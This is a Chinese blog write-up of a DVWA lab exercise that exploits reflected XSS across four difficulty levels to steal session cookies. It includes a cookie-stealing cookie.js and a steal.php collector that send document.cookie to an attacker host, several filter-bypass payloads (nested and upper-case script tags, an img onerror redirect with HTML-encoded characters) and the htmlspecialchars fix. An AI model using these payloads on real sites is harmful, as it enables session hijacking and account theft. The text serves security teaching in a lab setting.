DVWA--XSS (Reflected)

本文记录一次在DVWA漏洞平台的如何利用反射型XSS,获取该平台登陆Cookie的实验。

0x00 测试环境:

  • DVWA:Win 7虚拟机,phpstudy搭建DVWA,存在XSS漏洞的网站;|IP: 192.168.124.6|
  • 主机A:Win 7物理机,开启phpstudy,攻击者;|IP:192.168.124.2|

0x01 Low:

PHP源代码如下:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,所以我们构造Payload:

<script>alert(/xss/);</script>

接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在主机A的服务器下编写cookie.js。

document.write("<form action='http://192.168.124.2/DVWA_XSS/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
//<input type="hidden"/> 定义隐藏字段。隐藏字段对于用户是不可见的。隐藏字段通常会存储一个默认值,它们的值也可以由 JavaScript 进行修改。
document.write("</form>");
document.exploit.submit();

上面这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。steal.php将我们获取到的cookie存到数据库中,代码如下:

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data'])) //isset( )判断一个变量是否已经声明
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

在MySQL中创建数据库和对应的表来存放Cookie:

create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入:

<script src=http://192.168.124.2/DVWA_XSS/cookie.js></script>

相当于构造链接:
|http://192.168.124.6/DVWA/vulnerabilities/xss_r/?name=<script src=http://192.168.124.2/DVWA_XSS/cookie.js></script>|

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是主机A)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

从主机A的phpstudy打开MySql,发现数据库中接收到了cookie:在这里插入图片描述

0x02 Medium:

查看PHP源代码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

看到|$name = str_replace( '<script>', '', $_GET[ 'name' ] );|将我们输入内容中的|<script>|标签替换为了空,但是|str_replace|这个函数是不区分大小写的,而且只替换一次,所以我们构造Payload:

<scr<script>ipt>alert(/xss/);</script>
or
<SCRIPT>alert(/xss/);</SCRIPT>

同样的,插入:

<scr<script>ipt src=http://192.168.124.2/DVWA_XSS/cookie.js></script>
<SCRIPT src=http://192.168.124.2/DVWA_XSS/cookie.js></SCRIPT>

加载远程脚本steal.php,就可以将获取的cookie插入medium表中。

0x03 High

查看PHP源代码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?>

观察到使用了正则表达式来过滤:|preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'|,i表示对大小写不敏感。根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些JavaScript事件后仍然能执行JavaScript代码,所以我们构造Payload:

<img src=# onerror=alert(/xss/)>

通过加载一个不存在的图片出错触发javascript onerror事件, 继续弹框,证明出来有xss,这样的payload还有很多。

在xss的位置插入:

<img src=# onerror=(location.href="http://192.168.124.2/DVWA_XSS/steal.php?data="+document.cookie)>

通过触发onerror事件跳转链接到远程服务器的steal.php,同时以GET传送当前的cookie,但是输入仍然被过滤了,这是为何?

<img SrC=# oneRror=(locatIon.href="httP://192.168.124.2/DVWA_XSS/steal.php?data="+documenT.cookie)>

注意观察我们所插入的代码,标明的大写部分,竟然构成了一个script,所以符合代码的正则,从而被过滤掉了。我们将插入代码中的i进行html编码:

<img src=# onerror=(locat&#x69;on.href="http://192.168.124.2/DVWA_XSS/steal.php?data="+document.cookie)>

我们提交这段代码后绕过了后端的PHP过滤,然后浏览器进行了html解码。然后就是与之前一样的过程,触发onerror事件,向远程服务器的steal.php发送cookie并存入数据库中。

0x04 Impossible

查看PHP源代码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

看到有一个htmlspecialchars( )函数,这个函数的功能是:把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
如:

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

以上代码的 HTML 输出如下(查看源代码):

<!DOCTYPE html>
<html>
<body>
This is some <b>bold</b> text.
</body>
</html>

以上代码的浏览器输出:

This is some <b>bold</b> text.

这样将<>这两个标签字符变为html实体,我们就无法构造标签进行混淆攻击了。

发布了38 篇原创文章 · 获赞 18 · 访问量 6095

猜你喜欢

转载自blog.csdn.net/Sc0fie1d/article/details/100630996